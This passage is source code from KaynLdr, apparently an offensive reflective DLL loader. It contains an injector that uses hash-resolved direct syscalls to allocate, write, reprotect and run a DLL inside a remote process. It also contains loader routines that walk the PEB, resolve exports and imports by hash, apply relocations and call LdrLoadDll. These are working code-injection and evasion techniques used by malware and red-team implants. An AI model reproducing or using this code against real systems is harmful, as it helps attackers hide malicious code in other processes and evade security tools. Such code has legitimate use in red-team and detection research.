96 | PIMAGE_EXPORT_DIRECTORY pImageExportDirectory = RVA_2_VA( PIMAGE_EXPORT_DIRECTORY, pLdrDataEntry->DllBase, pImageNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress );
97 |
98 | WORD Sys_NtAllocateVirtualMemory = GetSyscall( pLdrDataEntry->DllBase, pImageExportDirectory, HashStringA( "NtAllocateVirtualMemory" ) );
99 | WORD Sys_NtWriteVirtualMemory = GetSyscall( pLdrDataEntry->DllBase, pImageExportDirectory, HashStringA( "NtWriteVirtualMemory" ) );
100 | WORD Sys_NtProtectVirtualMemory = GetSyscall( pLdrDataEntry->DllBase, pImageExportDirectory, HashStringA( "NtProtectVirtualMemory" ) );
101 | WORD Sys_NtCreateThreadEx = GetSyscall( pLdrDataEntry->DllBase, pImageExportDirectory, HashStringA( "NtCreateThreadEx" ) );
102 |
103 | if( !hProcess || !lpBuffer || !dwBufferSize )
104 | return NULL;
105 |
106 | dwKaynLoaderOffset = KaynOffset( lpBuffer, HashStringA( "KaynLoader" ) );
107 | if( !dwKaynLoaderOffset )
108 | {
109 | puts( "[-] Couldn't find KaynLoader" );
110 | return NULL;
111 | }
112 |
113 | // Allocate Memory
114 | SyscallPrepare( Sys_NtAllocateVirtualMemory );
115 | if ( NT_SUCCESS( SyscallInvoke( hProcess, &lpRemoteLibraryBuffer, 0, (PULONG)&dwVirtualSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE ) ) )
116 | {
117 | printf( "[+] Successful allocated remote memory: lpRemoteLibraryBuffer:[%p]\n", lpRemoteLibraryBuffer );
118 |
119 | // Write Dll buffer into remote memory
120 | SyscallPrepare( Sys_NtWriteVirtualMemory );
121 | if ( NT_SUCCESS( SyscallInvoke( hProcess, lpRemoteLibraryBuffer, lpBuffer, dwBufferSize, 0 ) ) )
122 | {
123 | puts( "[+] Successful copied dll buffer" );
124 |
125 | // change protection from RW to RX
126 | SyscallPrepare( Sys_NtProtectVirtualMemory );
127 | if ( NT_SUCCESS( SyscallInvoke( hProcess, &lpRemoteLibraryBuffer, &dwVirtualSize, PAGE_EXECUTE_READ, &dwOldProtection) ) )
128 | {
129 | puts( "[+] Successful change protection: RW -> RX" );
130 | lpKaynLoader = (LPTHREAD_START_ROUTINE)( (ULONG_PTR)lpRemoteLibraryBuffer + dwKaynLoaderOffset );
131 |
132 | // Call KaynLoader in a remote thread
133 | SyscallPrepare( Sys_NtCreateThreadEx );
134 | if ( NT_SUCCESS( SyscallInvoke( &hThread, GENERIC_EXECUTE, NULL, hProcess, lpKaynLoader, lpParameter, FALSE, NULL, NULL, NULL, NULL ) ) )
135 | {
136 | printf( "[+] Successful injected DLL: hThread:[%x]\n", hThread );
137 | } else
138 | puts( "[-] Couldn't create remote thread" );
139 |
140 | } else
141 | puts( "[-] Couldn't change memory protection from RW to RX" );
142 |
143 | }
144 | else
145 | puts( "[-] Couldn't copy dll buffer" );
146 |
147 | } else
148 | puts( "[-] Couldn't allocate virtual memory" );
149 |
150 | return hThread;
151 | }
--------------------------------------------------------------------------------
/KaynLdr/src/Win32.c:
--------------------------------------------------------------------------------
1 | /**
2 | * KaynLdr
3 | * Author: Paul Ungur (@C5pider)
4 | * Credits: Austin Hudson (@ilove2pwn_), Chetan Nayak (@NinjaParanoid), Bobby Cooke (@0xBoku), @trickster012
5 | */
6 |
7 | #include
8 | #include
9 | #include
10 |
11 |
12 | #ifdef _WIN64
13 | #define IMAGE_REL_TYPE IMAGE_REL_BASED_DIR64
14 | #else
15 | #define IMAGE_REL_TYPE IMAGE_REL_BASED_HIGHLOW
16 | #endif
17 |
18 | PVOID KGetModuleByHash( DWORD ModuleHash )
19 | {
20 | PLDR_DATA_TABLE_ENTRY LoaderEntry = NULL;
21 | PLIST_ENTRY ModuleList = NULL;
22 | PLIST_ENTRY NextList = NULL;
23 |
24 | /* Get pointer to list */
25 | ModuleList = & ( ( PPEB ) PPEB_PTR )->Ldr->InLoadOrderModuleList;
26 | NextList = ModuleList->Flink;
27 |
28 | for ( ; ModuleList != NextList ; NextList = NextList->Flink )
29 | {
30 | LoaderEntry = NextList;
31 |
32 | if ( KHashString( LoaderEntry->BaseDllName.Buffer, LoaderEntry->BaseDllName.Length ) == ModuleHash )
33 | return LoaderEntry->DllBase;
34 | }
35 |
36 | return NULL;
37 | }
38 |
39 | __forceinline UINT32 CopyDotStr( PCHAR String )
40 | {
41 | for ( UINT32 i = 0; i < KStringLengthA( String ); i++ )
42 | {
43 | if ( String[ i ] == '.' )
44 | return i;
45 | }
46 | }
47 |
48 | PVOID KGetProcAddressByHash( PINSTANCE Instance, PVOID DllModuleBase, DWORD FunctionHash, DWORD Ordinal )
49 | {
50 | PIMAGE_NT_HEADERS ModuleNtHeader = NULL;
51 | PIMAGE_EXPORT_DIRECTORY ModuleExportedDirectory = NULL;
52 | SIZE_T ExportedDirectorySize = 0;
53 | PDWORD AddressOfFunctions = NULL;
54 | PDWORD AddressOfNames = NULL;
55 | PWORD AddressOfNameOrdinals = NULL;
56 | PVOID FunctionAddr = NULL;
57 | UINT32 Index = 0;
58 |
59 | ModuleNtHeader = C_PTR( DllModuleBase + ( ( PIMAGE_DOS_HEADER ) DllModuleBase )->e_lfanew );
60 | ModuleExportedDirectory = C_PTR( DllModuleBase + ModuleNtHeader->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ].VirtualAddress );
61 | ExportedDirectorySize = C_PTR( DllModuleBase + ModuleNtHeader->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ].Size );
62 |
63 | AddressOfNames = C_PTR( DllModuleBase + ModuleExportedDirectory->AddressOfNames );
64 | AddressOfFunctions = C_PTR( DllModuleBase + ModuleExportedDirectory->AddressOfFunctions );
65 | AddressOfNameOrdinals = C_PTR( DllModuleBase + ModuleExportedDirectory->AddressOfNameOrdinals );
66 |
67 | for ( DWORD i = 0; i < ModuleExportedDirectory->NumberOfNames; i++ )
68 | {
69 | if ( KHashString( C_PTR( ( PCHAR ) DllModuleBase + AddressOfNames[ i ] ), 0 ) == FunctionHash )
70 | {
71 | FunctionAddr = C_PTR( DllModuleBase + AddressOfFunctions[ AddressOfNameOrdinals[ i ] ] );
72 | if ( ( ULONG_PTR ) FunctionAddr >= ( ULONG_PTR ) ModuleExportedDirectory &&
73 | ( ULONG_PTR ) FunctionAddr < ( ULONG_PTR ) ModuleExportedDirectory + ExportedDirectorySize )
74 | {
75 | CHAR Library [ MAX_PATH ] = { 0 };
76 | CHAR Function[ MAX_PATH ] = { 0 };
77 |
78 | // where is the dot
79 | Index = CopyDotStr( FunctionAddr );
80 |
81 | // Copy the library from our string
82 | MemCopy( Library, FunctionAddr, Index );
83 |
84 | // Copy the function from our string
85 | MemCopy( Function, C_PTR( FunctionAddr + Index + 1 ), KStringLengthA( C_PTR( FunctionAddr + Index + 1 ) ) );
86 |
87 | DllModuleBase = KLoadLibrary( Instance, Library );
88 | FunctionAddr = KGetProcAddressByHash( Instance, DllModuleBase, KHashString( Function, 0 ), 0 );
89 | }
90 |
91 | return FunctionAddr;
92 | }
93 | }
94 |
95 | return NULL;
96 | }
97 |
98 | VOID KResolveIAT( PINSTANCE Instance, LPVOID KaynImage, LPVOID IatDir )
99 | {
100 | PIMAGE_THUNK_DATA OriginalTD = NULL;
101 | PIMAGE_THUNK_DATA FirstTD = NULL;
102 |
103 | PIMAGE_IMPORT_DESCRIPTOR pImportDescriptor = NULL;
104 | PIMAGE_IMPORT_BY_NAME pImportByName = NULL;
105 |
106 | PCHAR ImportModuleName = NULL;
107 | HMODULE ImportModule = NULL;
108 |
109 | for ( pImportDescriptor = IatDir; pImportDescriptor->Name != 0; ++pImportDescriptor )
110 | {
111 | ImportModuleName = C_PTR( KaynImage + pImportDescriptor->Name );
112 | ImportModule = KLoadLibrary( Instance, ImportModuleName );
113 |
114 | OriginalTD = C_PTR( KaynImage + pImportDescriptor->OriginalFirstThunk );
115 | FirstTD = C_PTR( KaynImage + pImportDescriptor->FirstThunk );
116 |
117 | for ( ; OriginalTD->u1.AddressOfData != 0 ; ++OriginalTD, ++FirstTD )
118 | {
119 | if ( IMAGE_SNAP_BY_ORDINAL( OriginalTD->u1.Ordinal ) )
120 | {
121 | // TODO: get function by ordinal
122 | PVOID Function = KGetProcAddressByHash( Instance, ImportModule, NULL, IMAGE_ORDINAL( OriginalTD->u1.Ordinal ) );
123 | if ( Function != NULL )
124 | FirstTD->u1.Function = Function;
125 | }
126 | else
127 | {
128 | pImportByName = C_PTR( KaynImage + OriginalTD->u1.AddressOfData );
129 | DWORD FunctionHash = KHashString( pImportByName->Name, KStringLengthA( pImportByName->Name ) );
130 | LPVOID Function = KGetProcAddressByHash( Instance, ImportModule, FunctionHash, 0 );
131 |
132 | if ( Function != NULL )
133 | FirstTD->u1.Function = Function;
134 | }
135 | }
136 | }
137 | }
138 |
139 | VOID KReAllocSections( PVOID KaynImage, PVOID ImageBase, PVOID BaseRelocDir )
140 | {
141 | PIMAGE_BASE_RELOCATION pImageBR = C_PTR( BaseRelocDir );
142 | LPVOID OffsetIB = C_PTR( U_PTR( KaynImage ) - U_PTR( ImageBase ) );
143 | PIMAGE_RELOC Reloc = NULL;
144 |
145 | while( pImageBR->VirtualAddress != 0 )
146 | {
147 | Reloc = ( PIMAGE_RELOC ) ( pImageBR + 1 );
148 |
149 | while ( ( PBYTE ) Reloc != ( PBYTE ) pImageBR + pImageBR->SizeOfBlock )
150 | {
151 | if ( Reloc->type == IMAGE_REL_TYPE )
152 | *( ULONG_PTR* ) ( U_PTR( KaynImage ) + pImageBR->VirtualAddress + Reloc->offset ) += ( ULONG_PTR ) OffsetIB;
153 |
154 | else if ( Reloc->type != IMAGE_REL_BASED_ABSOLUTE )
155 | __debugbreak(); // TODO: handle this error
156 |
157 | Reloc++;
158 | }
159 |
160 | pImageBR = ( PIMAGE_BASE_RELOCATION ) Reloc;
161 | }
162 | }
163 |
164 | PVOID KLoadLibrary( PINSTANCE Instance, LPSTR ModuleName )
165 | {
166 | if ( ! ModuleName )
167 | return NULL;
168 |
169 | UNICODE_STRING UnicodeString = { 0 };
170 | WCHAR ModuleNameW[ MAX_PATH ] = { 0 };
171 | DWORD dwModuleNameSize = KStringLengthA( ModuleName );
172 | HMODULE Module = NULL;
173 |
174 | KCharStringToWCharString( ModuleNameW, ModuleName, dwModuleNameSize );
175 |
176 | if ( ModuleNameW )
177 | {
178 | USHORT DestSize = KStringLengthW( ModuleNameW ) * sizeof( WCHAR );
179 | UnicodeString.Length = DestSize;
180 | UnicodeString.MaximumLength = DestSize + sizeof( WCHAR );
181 | }
182 |
183 | UnicodeString.Buffer = ModuleNameW;
184 |
185 | if ( NT_SUCCESS( Instance->Win32.LdrLoadDll( NULL, 0, &UnicodeString, &Module ) ) )
186 | return Module;
187 | else
188 | return NULL;
189 | }
190 |
191 | /*
192 | ---------------------------------
193 | ---- String & Data functions ----
194 | ---------------------------------
195 | */
196 |
197 | DWORD KHashString( PVOID String, SIZE_T Length )
198 | {
199 | ULONG Hash = HASH_KEY;
200 | PUCHAR Ptr = String;
201 |
202 | do
203 | {
204 | UCHAR character = *Ptr;
205 |
206 | if ( ! Length )
207 | {
208 | if ( !*Ptr ) break;
209 | }
210 | else
211 | {
212 | if ( (ULONG) ( Ptr - (PUCHAR)String ) >= Length ) break;
213 | if ( !*Ptr ) ++Ptr;
214 | }
215 |
216 | if ( character >= 'a' )
217 | character -= 0x20;
218 |
219 | Hash = ( ( Hash << 5 ) + Hash ) + character;
220 | ++Ptr;
221 | } while ( TRUE );
222 |
223 | return Hash;
224 | }
225 |
226 | SIZE_T KStringLengthA( LPCSTR String )
227 | {
228 | LPCSTR String2 = String;
229 | for (String2 = String; *String2; ++String2);
230 | return (String2 - String);
231 | }
232 |
233 | SIZE_T KStringLengthW(LPCWSTR String)
234 | {
235 | LPCWSTR String2;
236 |
237 | for (String2 = String; *String2; ++String2);
238 |
239 | return (String2 - String);
240 | }
241 |
242 | SIZE_T KCharStringToWCharString( PWCHAR Destination, PCHAR Source, SIZE_T MaximumAllowed )
243 | {
244 | INT Length = MaximumAllowed;
245 |
246 | while (--Length >= 0)
247 | {
248 | if (!(*Destination++ = *Source++))
249 | return MaximumAllowed - Length - 1;
250 | }
251 |
252 | return MaximumAllowed - Length;
253 | }
--------------------------------------------------------------------------------